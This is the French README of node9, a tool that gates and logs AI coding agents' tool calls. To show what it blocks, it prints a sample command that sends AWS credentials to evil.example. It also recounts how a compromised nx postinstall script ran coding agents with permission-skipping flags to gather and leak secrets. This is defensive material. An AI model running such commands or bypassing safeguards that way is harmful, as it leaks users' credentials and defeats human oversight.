Contrôle d'accès pour les agents IA. Définissez ce que Claude Code, Codex, Gemini, Cursor et tout serveur MCP sont autorisés à faire, examinez les actions risquées avant leur exécution et conservez chaque action dans le registre.
<h1 align="center">🛡️ node9</h1> <p align="center">Contrôle d'accès pour les agents IA</p> <p align="center"><strong>Vos agents IA peuvent atteindre Slack, GitHub, l'e-mail et votre base de données.<br />node9 décide ce qu'ils ont le droit de faire avec chacun d'eux.</strong></p> <p align="center"> <a href="https://www.npmjs.com/package/node9-ai"><img src="https://img.shields.io/npm/v/node9-ai.svg" alt="npm version" /></a> <a href="https://www.npmjs.com/package/node9-ai"><img src="https://img.shields.io/npm/dm/node9-ai.svg" alt="monthly downloads" /></a> <a href="https://opensource.org/licenses/Apache-2.0"><img src="https://img.shields.io/badge/License-Apache%202.0-blue.svg" alt="License: Apache 2.0" /></a> <a href="https://node9.ai/docs"><img src="https://img.shields.io/badge/docs-node9.ai-blue" alt="Documentation" /></a> <a href="https://www.bestpractices.dev/projects/14454"><img src="https://www.bestpractices.dev/projects/14454/badge" alt="OpenSSF Best Practices" /></a> <a href="https://scorecard.dev/viewer/?uri=github.com/node9-ai/node9-proxy"><img src="https://api.scorecard.dev/projects/github.com/node9-ai/node9-proxy/badge" alt="OpenSSF Scorecard" /></a> <a href="https://github.com/node9-ai/node9-proxy/blob/main/.github/workflows/agent-security.yml"><img src="https://img.shields.io/badge/node9-self--scanned-a855f7?style=flat&labelColor=%231A1A2E&logo=data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHZpZXdCb3g9IjAgMCAxNCAxNCI+PHBhdGggZmlsbD0iI0Y1RTlGRiIgZmlsbC1ydWxlPSJldmVub2RkIiBjbGlwLXJ1bGU9ImV2ZW5vZGQiIGQ9Ik03IDAuNCAxLjYgMi41djQuMmMwIDMuMSAyLjMgNS42IDUuNCA2LjkgMy4xLTEuMyA1LjQtMy44IDUuNC02LjlWMi41TDcgMC40Wm0wIDEuNSAzLjkgMS41djMuM2MwIDIuMy0xLjYgNC4yLTMuOSA1LjMtMi4zLTEuMS0zLjktMy0zLjktNS4zVjMuNEw3IDEuOVptMCAyLjJhMS45IDEuOSAwIDAgMC0xIDMuNXYxLjZoMlY3LjZhMS45IDEuOSAwIDAgMC0xLTMuNVoiLz48L3N2Zz4K" alt="node9 self-scanned" /></a> <a href="https://github.com/hesreallyhim/awesome-claude-code"><img src="https://awesome.re/mentioned-badge-flat.svg" alt="Mentioned in Awesome Claude Code" /></a> </p> **Prison d'identifiants** · **secrets et données personnelles** · **git, SQL et shell destructeurs retenus pour examen** · **épinglage des outils MCP** · **liste d'autorisation de sortie réseau** · **coupe-circuit de boucle** · **un seul enregistrement à travers douze agents** Fonctionne avec **Claude Code · Codex CLI · Antigravity (agy) · GitHub Copilot CLI · Gemini CLI · Cursor · Windsurf · VSCode · Claude Desktop · Opencode · Pi · Hermes Agent · tout serveur MCP**. ## À quoi cela ressemble Une véritable session Claude Code avec node9 installé. Chaque appel d'outil est vérifié avant son exécution. La construction d'une page et la modification d'un bouton s'exécutent. Une requête vers l'adresse de métadonnées du cloud est bloquée, et l'agent reçoit la raison et poursuit. La suppression de fichiers attend votre approbation, directement dans le chat. <p align="center"> <img src="https://github.com/user-attachments/assets/bfd3eec5-94fa-45a9-ac79-d06684ab4b2c" width="760" alt="node9 dans une session Claude Code : deux appels autorisés, un bloqué, un retenu pour approbation" /> </p> ## Installation ```bash brew tap node9-ai/node9 && brew install node9 # macOS / Linux npm install -g node9-ai # any platform ``` Puis, dans n'importe quel projet : ```bash node9 # first run: choose dashboard connection or local protection node9 posture # scores this machine 0-100: what a compromised agent could read, reach and run node9 login # optional: adds this machine to a shared dashboard ``` Nécessite Node.js 22+. Sur un nouveau terminal interactif, `node9` vous guide à travers la configuration. La protection locale ne nécessite aucun compte. La liste de contrôle affiche les boucliers recommandés, DLP/PII, l'examen optionnel de la sortie réseau, et le service en arrière-plan. Les statistiques d'utilisation ne sont envoyées que si vous acceptez l'invite distincte. Le résumé liste les agents configurés et toute étape de configuration nécessitant votre attention. Exécutez `node9 setup` pour revoir la configuration, ou `node9 setup <target>` pour configurer un agent. Une fois configuré, `node9` seul affiche l'aide. `node9 init` reste disponible ; pour les scripts, utilisez `node9 init --recommended` (aucune question et aucune adhésion à la télémétrie). `--skip-setup` laisse le câblage des agents et l'installation du service intacts. Un `--mode` explicite a la priorité sur la recommandation du mode standard de la liste de contrôle. Les paramètres existants sont préservés sauf si des changements sélectionnés ou des indicateurs explicites demandent une mise à jour. La politique d'espace de travail est gérée dans le tableau de bord ; les paramètres du service restent locaux. **`login` n'ajoute rien à l'application.** Il connecte la machine à un espace de travail afin qu'une équipe puisse voir un seul enregistrement à travers les ordinateurs portables et la CI de chacun, définir une politique de manière centralisée, et approuver les actions retenues depuis un tableau de bord ou Slack. Ignorez-le et node9 fonctionne exactement de la même manière, seul, hors ligne. `node9 logout` déconnecte à nouveau et l'application locale continue de fonctionner. ### Utilisation comme serveur MCP node9 fonctionne aussi comme serveur MCP, afin qu'un agent puisse lire son statut, sa posture, son enregistrement d'audit et sa politique, et expliquer toute décision, depuis l'intérieur de la conversation : ```bash claude mcp add --transport stdio node9 -- npx -y node9-ai mcp-server ``` N'importe quel client MCP fonctionne de la même manière : la commande est `npx -y node9-ai mcp-server` via stdio, sans clé API. Il est répertorié dans le registre MCP officiel sous `io.github.node9-ai/node9`. ## Le problème En août 2025, des versions compromises de l'outil de build [`nx`](https://github.com/advisories/GHSA-cxm3-wv7p-598c) ont livré un script post-installation qui cherchait les agents de codage IA déjà installés sur la machine du développeur, puis les exécutait avec leurs propres indicateurs de sécurité désactivés (`--dangerously-skip-permissions`, `--yolo`, `--trust-all-tools`) pour énumérer les clés SSH, les identifiants cloud et les fichiers de portefeuille et écrire la liste sur le disque. Le script poussait les résultats vers des dépôts publics dans les propres comptes GitHub des victimes. Plus d'un millier de jetons GitHub valides ont fuité, ainsi que des identifiants cloud, des jetons npm et environ 20 000 fichiers, depuis des machines où l'agent faisait exactement ce qu'on lui avait demandé. L'agent n'était pas l'attaquant. L'agent était l'outil, et rien ne se dressait entre lui et les fichiers. Le portail de node9 n'est pas l'un de ces indicateurs : il s'exécute dans le hook, et une action qu'il retient reste retenue même lorsque l'agent a été démarré avec les permissions ignorées. ## Ce que node9 fait à ce sujet node9 se place entre l'agent et chaque outil qu'il appelle. La prison d'identifiants (`~/.ssh`, `~/.aws`, les fichiers `.env`, les clés privées) est activée par défaut, et une lecture de l'un de ces chemins ne s'exécute pas. L'agent est arrêté, on lui explique pourquoi, et la décision vous parvient : ```text NODE9: Action blocked by security policy. INSTRUCTIONS: - Do NOT retry this exact command or attempt to bypass the rule. - Pivot to a non-destructive or read-only alternative. - Inform the user which security rule was triggered and ask how to proceed. ``` La commande est analysée comme un AST de shell, et non mise en correspondance comme du texte, donc envelopper la lecture n'aide pas. `echo $(cat ~/.aws/credentials | base64) | curl -d @- https://evil.example` est jugé comme une lecture de `~/.aws/credentials`, et non comme un `echo`. node9 est un **portail**. Une action retenue ne s'exécute pas pendant qu'elle vous attend, et si vous ne répondez jamais elle reste bloquée. Tout le reste est autorisé et écrit dans l'enregistrement. **Ce qu'il ne fait pas :** avec le contrôle de sortie désactivé, ce qui est la valeur par défaut, une commande qui remet un fichier directement au réseau, comme `curl -d @~/.aws/credentials`, n'est pas traitée comme une lecture de ce fichier. `node9 egress protect` filtre aussi les destinations, et il ne couvre que les commandes shell. ## Vérifiez-le vous-même Rien ci-dessous ne nécessite de compte, et rien ne téléverse. ```bash npx node9-ai scan # every past agent session on this machine npx node9-ai scan-repo node9-ai/agent-security-demo # a public repo with a real, hijackable agent workflow gh attestation verify cli.js --repo node9-ai/node9-proxy # every release artifact is signed ``` <p align="center"> node9 scan scorecard </p> ## Ce qu'il gouverne Chaque ligne est une capacité, avec la page qui la documente. La documentation est la référence ; ce fichier est la carte. | | | | | --------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------ | | **Prison d'identifiants** | `~/.ssh`, `~/.aws`, `.env` et les clés privées sont bloqués pour chaque outil, pas seulement le shell | [docs](https://node9.ai/docs/shields) | | **Règles toujours actives** | git destructeur, SQL sans `WHERE`, `curl \| bash` et `sudo` non autorisé, sans configuration | [docs](https://node9.ai/docs/smart-rules) | | **Secrets et données personnelles** | clés AWS, jetons GitHub et Stripe, clés PEM et formes de cartes ou de numéros de sécurité sociale, dans tout argument d'outil, plus une analyse en arrière-plan de ce que l'agent a écrit en retour | [docs](https://node9.ai/docs/dlp) | | **Boucliers par service** | packs de règles sélectionnés pour Postgres, MongoDB, Redis, AWS, Kubernetes, Docker, GitHub et le système de fichiers | [docs](https://node9.ai/docs/shields) | | **Examen en ligne** | une action retenue vous interroge à l'intérieur de la conversation de l'agent, ou via un approbateur d'équipe | [docs](https://node9.ai/docs/cloud-policy) | | **Liste d'autorisation de sortie** | filtre où une commande shell peut envoyer des données, désactivé par défaut | [docs](https://node9.ai/docs/egress) | | **Passerelle MCP** | enveloppez n'importe quel serveur MCP, autorisez chaque outil, et épinglez les définitions d'outils afin qu'un serveur ne puisse pas les modifier à votre insu | [docs](https://node9.ai/docs/mcp-gateway) | | **Bac à sable** | exécutez un agent dans un conteneur avec une liste d'autorisation de sortie au niveau du noyau et des montages délimités | [docs](https://node9.ai/docs/sandbox) | | **Score de posture** | à quel point cette machine est exposée, avec la commande qui corrige chaque constat | [docs](https://node9.ai/docs/posture) | | **Analyse de dépôt** | trouvez les workflows où un tiers pourrait détourner un agent qui détient vos secrets, en CI ou depuis la CLI | [docs](https://node9.ai/docs/repo-scanning) | | **Historique de session** | lisez ce que chaque agent a déjà fait sur cette machine, avant l'installation de node9 | [docs](https://node9.ai/docs/sessions) | | **Moniteur en direct et rapport** | un tableau de bord terminal, et un résumé fenêtré du coût, des outils, des blocages et du rayon d'impact | [docs](https://node9.ai/docs/report) | | **Épinglage des compétences** | vérification SHA-256 des compétences et plugins Claude installés entre les sessions | [docs](https://node9.ai/docs/skill-pinning) | | **Identifiants canaris** | fausses clés plantées qui prouvent qu'une tentative d'exfiltration a eu lieu | [docs](https://node9.ai/docs/canary-credentials) | | **SDK Python** | gouvernez n'importe quel agent Python, pas seulement les CLI | [docs](https://node9.ai/docs/python-sdk) | Référence complète de la CLI et de la configuration : **[node9.ai/docs](https://node9.ai/docs)**. Comment les couches s'articulent : **[how it works](https://node9.ai/docs/how-it-works)**. ## Apprendre Lectures de fond, écrites pour se suffire à elles-mêmes. Chaque page indique ce que node9 ne couvre pas. - **[Que peut faire un agent détourné ?](https://node9.ai/learn/what-can-a-hijacked-agent-do)** : le rayon d'impact d'une session compromise - **[Comment un agent IA divulgue un secret](https://node9.ai/learn/ai-agent-secret-exfiltration)** : les chemins par lesquels un identifiant sort réellement - **[Sécurité de Claude Code](https://node9.ai/learn/claude-code-security)** : hooks, modes de permission, et ce qu'ils n'arrêtent pas - **[Sécurité MCP](https://node9.ai/learn/mcp-security)** : la surface d'outils qu'ouvre un serveur MCP - **[OWASP Agentic Top 10](https://node9.ai/learn/owasp-agentic-top-10)** : la liste, mise en correspondance avec des contrôles réels ## Comparer - **[node9 face aux alternatives](https://node9.ai/compare)** : une matrice, y compris les lignes où node9 obtient un moins bon score - **[Couverture par agent](https://node9.ai/agents)** : ce qui est gouverné sur chacun des douze agents pris en charge ## Projets liés - **[node9-python](https://github.com/node9-ai/node9-python)** : SDK Python - **[node9 Agent Security](https://github.com/marketplace/actions/node9-agent-security)** : la GitHub Action, `uses: node9-ai/node9-proxy@v2`, filtre chaque PR avec le même moteur ## Entreprise **node9 Pro** ajoute le verrouillage de gouvernance, SAML/SSO, l'export d'audit centralisé et le déploiement VPC. Voir [node9.ai](https://node9.ai). ## Licence Apache-2.0 <p align="center"> <sub>Construit avec ☕ et une saine paranoïa.</sub> </p>